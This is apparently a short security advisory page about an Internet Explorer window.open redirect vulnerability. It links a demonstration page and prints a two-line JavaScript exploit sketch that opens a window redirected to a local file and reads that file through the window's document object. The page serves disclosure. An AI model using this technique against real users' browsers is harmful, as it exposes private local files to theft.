• info
• discussion
• exploit
• solution
• references

Microsoft IE window.open Redirect Vulnerability

Demonstration available at:
http://www.nat.bg/~joro/msredir1.html

The exploit code is:
a=window.open(some URL that redirects to the local file);
b=a.document;

Then the contents of the local file can be read or otherwise manipulated by referring to b.